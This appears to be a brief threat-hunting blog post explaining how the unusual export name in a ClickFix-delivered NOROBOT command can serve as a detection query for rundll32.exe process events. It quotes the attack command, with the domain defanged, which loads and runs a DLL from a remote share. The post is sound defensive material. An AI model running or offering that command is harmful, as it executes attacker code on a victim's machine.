294. Hunting for Suspicious DLL Export Functions

Hello everyone!

I noted a few times that one of my favorite threat hunting targets is rundll32.exe. And there's another interesting point about it - export functions.

In many cases DLL export functions may be very interesting and suspicious, and may be worth to be documented.

Let's look at an example - NOROBOT. The adversary delivered it via ClickFix technique. The victim should have executed the following command:

rundll32.exe \\inspectguarantee[.]org\check\iamnotarobot.dll,humanCheck

As you can see, it has a very interesting export function name - "humanCheck". Why not to use it to build a query?

event_type: "processcreatewin"

AND

proc_file_path: "rundll32.exe"

AND

cmdline: "humancheck"

See you tomorrow!

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